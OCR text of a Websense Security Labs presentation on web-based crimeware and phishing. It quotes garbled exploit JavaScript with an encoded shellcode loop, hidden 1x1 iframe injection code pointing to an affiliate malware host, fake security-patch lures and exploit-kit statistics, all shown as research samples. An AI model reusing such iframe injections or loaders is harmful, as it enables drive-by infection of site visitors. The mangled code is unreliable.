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Websense Security Labs, security research division of
Websense Inc.
Externalized research starting Aug 2004.

Scan more than 77 million sites per day for malicious code, Phishing,
and other web exploits.

Lead Crimeware Project as part of APWG.

Thousands of deployed Honey clients, Honey pots, SPAM traps, and
other research tools.

Detect and classify thousands of malicious websites, Spyware, P.U.S..
Trojan Horses, per week.

Founded “crimeware report” as part of APWG and populate
monthly stats for report and crimeware map.
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: | The web is becoming the number one attack vector on the
Internet.

Phishing and Crimeware are highest growth areas in.

Trojan Horses are used to be covert and stealth and are far
more sophisticated than worms of yesterday.

By simply visiting a website your machine and potentially your
- network can be infected with malicious code.

N Firewalls, Anti-Virus, Patches, and Policy alone are not solving
| — the problem alone.

| Targeted attacks are becoming more common and using the

web is one of the main infection vectors, update, and collection
mechanisms.
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Open at almost all companies (port 80 and 443).
Most solutions today are not “content-aware”.
Largest number of vulnerabilities on client.
‘ Largest number of vulnerabilities on servers.
! Graphical = better for deception.
Inexpensive.

| Difficult to trace and easy to disguise.

| Email defenses have improved (cat is still chasing the mouse).

INTEROP
MAKES YOU

SMART

WEBSENSE" &

Security Labs




We have a Firewall.

We have anti-virus.

We think we have installed all the latest patches.

We have a security awareness training program.
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ALL = ANY - PORT 80/443 ALLOW
Does not provide enough context.

“port 80” Is a big world.

Would you do this with email?

Do you have any laptops in the Enterprise?
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Encoding and obfuscation routines are dynamic and
easy to modify and change on the fly.

Signature-based systems have difficult time keeping
up.

Compliance on signature updates to the desktop is
not simple.

\ ‘ Not all attacks are exploits (social engineering)
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| for {i=1 ;i <=c p i++3f

| 1 document ,writeln(” diframe width=1 height=1 border=0 frameborder=0 zrc="Fillmem htm"><'AFrame>"
3FL == 18 3t

document. ,writeln{ " <iframe width=1 height=1 border=0 frameborder=0 zrc="2k htm">{1Framae>" 2

3FL == d 3t

document ,writelni<iframe width=1 height=1 border=0 frameborder=0 =rc="xp.htm"></iframe>" 1
11

for (=1 : £ <=200: t++1
t P =F +p 3
= = unescape ! "EUbDdEBXUBEBEUEBACELEE Y AR ETEELDEF BELEEBEL0E20"  +
"EUAEFSELdICIELADD 1 XUDBEEEL0F 365014 BEREGEE2EE T 4F2 " +
tEUC 100 DCEX DA EUEBAOEUSBEF SuPSDF HuSEE Y EUSESE "
a0 24 xuebDIEL0CEBXLEBA B 1 CEXuDDOExu0d BB L0 28E "
| "EUCACEXU A2 ERueDECEUEEER Bund 2E X ueCaCEud 300Eu5CEA "
| "EUZER0XL S BEEEU00EEEUC0E U0 A6 X0 204000 T BEud 03B "
*ELEBOCEL LT OXuSEADELO0EA L0 Y9E BX0d03BEuS D a4 xu rCa40 ™
| | ¥ud0SEXUISICEUSERF XUOE4E XUESEC X UFF 84X UFFFFZUECSS "
| tEUEE0G 22 CEuFF 3CEuaSD0EuBF SO LRGS0 O2F ZueFES "
| e "HUFFFFZEUBBFF Zu2454%080F CEuBAS2XuDBE 3505 2035 uERS2 "
"EEE2AEuD0OF FEuBF S DEUF E9EEL0E BAXLSESEBEUF FFFELEAFF "
A0 CEuZ2CEERuE 22X D0F FEu /EBF XuE2DEXuE B SEuF F 40"
| EUFFFFEUFFEZEUEBDOEUFFOASuFFFFE " +
AR L O A 2 AR T A U T RueE 2E LT EE e L e uE 26 1 ue 165 LZEEERUEF E3ELZF B

N IE I I O

f=Ff + =
prompt (F 2" "y 3
A —=rlSSoriptrddheady<body onload="setTimeout {"load ()" . 1999 " < /body > < /html >
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Vulnerabilities are being created, sold, and traded in the
underground

‘ Several zero-days have been released in the last 3 months
Available patches take a while to deploy

I WMF was being exploited for more than 3 weeks with more
than 2500 sites using it before the patch was released.
CreateText had a 2 week headstart.
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2 Download details: Explorer.exe bugfix 3435 - Mic Internet Explarer

Fle Edt Vew Favoites Took Heb

QO Q-HREG

Saarch Micraze.com for,

. McAfee - Mozilla Firefox
Fle Edt \iew Go Bookmarks Tools Help
Dovnload Center . ¢ - - & @) (D hppens

¢ /7page=update v @co (2,
File Name: explorer-fix-3435 exe

Download Categories
S Version: 3435
Date Published: a/5/2005

Directx

Explorer.exe Security Bugfix 3435

Internat a nghsh

S e ! McAfee’ Search: o
(it Download Size: ca. 80% Kb c ee

Windows Media Estimated Download Time: 20 sec, @ 56 K United States
Drivers *Download size depends on selected download components,

Office and Home.
Applications
Mobile Davices
Macintosh & Other

Change Language
(Engleh > * Servic
* Support

Update Center

Overview
‘Servar Applications - o =
splorer.exce i the default shell used i all Win i B Downloads
System Management R evaryima Woiows tarts, Thatouty th wegte e so rmperart. | HOTUEDMIE] 6
Devslopment McAfee ® Anti Kongo31,XRW Patch for Windows p Fymadice.
= * About Us McAfee® has developed a special patch which blocks the Da
o Resources Kongas. ILXAW Worm bady mutation, fully deletes the virus fram the ==
Gownload Carter Help System Requirements - : system and makes future intrusions impossible. All users are
Ralated Oonnlcad « Supported Operating Systems: Windows 2000; Windows 35; i [EE-Te1 1814 (s g T30 {aTiH advised to install the patch! ™ "
Updts Services + 456/56 Mz prossssar (Fantum procsssar rezemmendsd) : Symantec 11 Sisterna da Symantec Security Check testou as fahas em seu sistera, &
i oft D load u . . s i
Jl rre windows ve: S t Ch k enantrpu 24 fglhas perigosas. Avisamos que as atualizagies para as falhas j4
Worldwids Downloads | 32 e of ean miniurn ecu rl y ec estéo disponiveis para download.

Windows 2000:
32 MB of RAM minimum
Full instsll size: 12.0 MB

windows 98 Second Edition:
16 MB of RAM minimum
Full install size: 12.4 MB.

windows 98:
16 MB of RAM minimum

Select Country/Region |

Site Map | Feedback Guide | Privacy Policy | Anti-Piracy Palicy | McAfee Security Spotligl Seguranga
bewslgtter Verificanda...
tes Technology, Inc, All Rights Reserved Seu computadar estd infectado com o virs Worm@hda.265
gue ataca ndo sd 0 seu computador coma o de todos da sua
lista de erails, proteja-se ja, é facil basta clicar e fazer o
download.
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Exploit code being used increasingly in OS and browsers as
zero-days are being used to install malicious code for
crimeware.

Collaboration amongst authors and/or toolkit sharing.

Exploits being used on server side to exploit web sites and end-
user P.C.’s (BOTs being used also).

Deception technigues rising in sophistication, also using
automation to post on BLOG's, message boards, and on free
hosting sites.

Code becoming more sophisticated. Using anti-VM detection,
exploit checking, rootkits, and redirection.

Targeting multiple entities in one attack (e.g. more than
hundreds of banks targeted with one Trojan).

Using redundancy on server-side (eg: DDNS, list updates,
proxies, etc).
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[Englizh] [Rus=sian] VIEW STATS
L]

REPLAY

el
Join us and start making money today

LAST NEWS

14/11/05:

CGPAY payments:

From the 14th of Movember we can pay with help of CGPAY

i0/10/05:

Mewr tariffs:

Frarn the 10th of Gctobre the new system of tariffing IS STARTED. From this
moment we pay differant $34 for different countries!

07/02/05:

Mewr system % design:

At last here are new system and design! From this mement nobody has a chance to
spy! You can change any settings! It's easy now! And soon there will be more
surprizes!

JOIN US AND START iframeCash.biz association is:
MAKING MONEY TODAY!

80 YOU WANT TO EARN
MUCH MONEY ON THE TRAFFIC?

Everyone is weleome to join the ifrmme CASH.biz partnership program

Eam $0.08 ($2001000 installs) and more for each unique iframe installs

Wou only put the short one line iframe code on your pageds) and start to MAKE MONEY
WATHOUT any Aetive-X consale or any pop-ups.. .t means that you will not lose your unique
visitors with our iframe!

The best percertage of installs (10-40% from the total traff or it's $4-F15 FOR 1000 UNIQUE
SIGNUP TODAY! USITORS)

DALY updated soft

iz have 3 reliable senvers with excellent speed

Payments every Tuesday

Fealtime statictic of your work

Payment via: Fethard, Wiebmoney, Uire, E-gold and Westem Union (0L
hore than 300 webmasters work with us

Friendly support service

Everybody who warks with us iz satisfied.

WE HOPE TO HAVE A LONG-TERM
COOPERATION WITH You!

HOME | TERMS | FAQ | SIGH UP | ABOUT U5 | RATES
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Use affiliates to get code onto web pages.
Also exploit web servers .
Insert IFRAME to redirect traffic to them.

Eg: <iframe src="http://traffbest.biz/dl/adv446.php" width=1
height=1></iframe>.

Use variety of exploits (including WMF, JavaByte, etc).

More than 2000 sites on the net today have their code
embedded.

Download and install PUS, Spyware, and sophisticated
Crimeware. Also send Viagra and other SPAMS.
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iframeCASH.biz - Mozilla Firefox

Eile Edit Yiew Go Bookmarks Tools Help

(:ZI - |_:/‘, - %‘ \:I @ ||_| http: ffiframecash.bizfstats fsetup.php
proxy: [ tor | + Apply 7 Edit 13 Remove | Add (Status: Using tor | %, Options~

Yo« |

EXE last upd'a'tedms' hours ago

adverts zone

Login

Password

E-mail

ica (| |

Paymentto | () Fethard
{If you choose PayPal payments, O webmoney
we get 10% comissions) | O E-gold
@wu
O Wire
O Paypal

Payment account number

BackURL ||

Done
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iz - Mozilla Firefox

Eile Edit Vview Go Bookmarks Tools Help
<E| - LL‘/ T g‘ i’:l @ ‘|_j http://iframecash.biz/stats/ V| @ co ||Q,

Proxy: ‘--bor ~ | +" Apply f Edit '@ Remove | ] Add :'.Status Using tor % Options~

EXE last updated 3 hours ago

adverts zons

Last news

I

07.11.2005 | Problems with BackURL solved, use it!

11.10.2005 | Now you can send not unique traffic to your resources with help of BackURL

10.10.2005 | From the 10th of Octobre the new system of tariffing IS STARTED. From this moment we pay different $$% for different countries

19.09.2005 | From the 19th of september the price for 1000 loads will rise to 80§

5.08.2005 | New system of statistics and new disign are started!

11.07.2005 | From the 11th of july the price for 1000 loads will rise to 70%

Adverts link

HTML Link: <iframe src="http://traffbest.biz/dl/adv

" width=1 height=1></iframe>

Hidden HTML Link: <iframe
src="e#104; #1106 c#116;e¥112 a#56 a¥4 T e#9 7 e #0116, c#1149; 5§97 5¥102; %102 498, £#107]
width=1 height=1></iframe>

EXE Link({last update 3 hours ago): [nttp://traffbest.biz/d1/loadadwvs

Done M 19 1337 (siteadvisor -
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Among the Potentially Unwanted Software dropped and ran
they are also dropping and running Rootkit Crimeware that:

Drops and runs
IbmO00001.exe
ibm00001.dlI
Ibm00002.dlI

Ibom0001.exe loads ibm0001.dll and calls main export
function.

Ibom0002.dll gets injected inside IExplorer process.
Trojan gets file from server with monitoring details.
Upon logon replaces screen requesting logon details.
Changes almost dalily.
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Toolkit sold on the Internet (in Russia).

Costs between $15 - $30.

Checks for multiple browser exploits via user-agent.
Greater than 90% are on Exploited machines.
Installs mostly Trojan Horse Keyloggers.

Close to 1000 sites with this code today.
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Overall statistics

Total hosts MS03-11 M304-013 MS05-020 0-Day MS06-006
9703 423 15 28 661 1
I 10000% 4.36 % 0.15% 0.29 % 6.81 % 0.22 %
b

Total Exploit efficiency 1s 11.83 %
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MAIE 5.5
MSIE 5.5 8F1
MSIE 55 8F2

MSIE6.0
MSIE 6.0 SF1
MSIE 6.0 SF2
MSIE 6.0 ST4
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Spear-Phishing : Targeted attacks.
Puddle Phishing: Smaller targets.

Non-financial / ecommerce related attacks (hotels, casino’s,
travel industry).

More efficient in collecting data.

Kits becoming more popular (hosting multiple brands on one
| server).

| Redundancy prevalent with proxy’s, DDNS, fast changing DNS
| e records.

| More efficient in infecting servers for hosting data.
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! The Web is the number one attack vector on the Internet
| Malicious code is designed to be covert and stealth
Hacking for fortune is common and professionals are at work.
Phishing is not simply about a lure and a website.

Phishing and Fraud is rising in astronomical numbers (this is
not an over-hyped threat).

o Crimeware is the evolution of the phishing.
Attacks are growing in numbers and sophistication.
Defenses, penalties, arrests, are not keeping up with attacks.
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To subscribe to free alerts on Phishing and Crimeware:

http://www.websensesecuritylabs.com/subscribe
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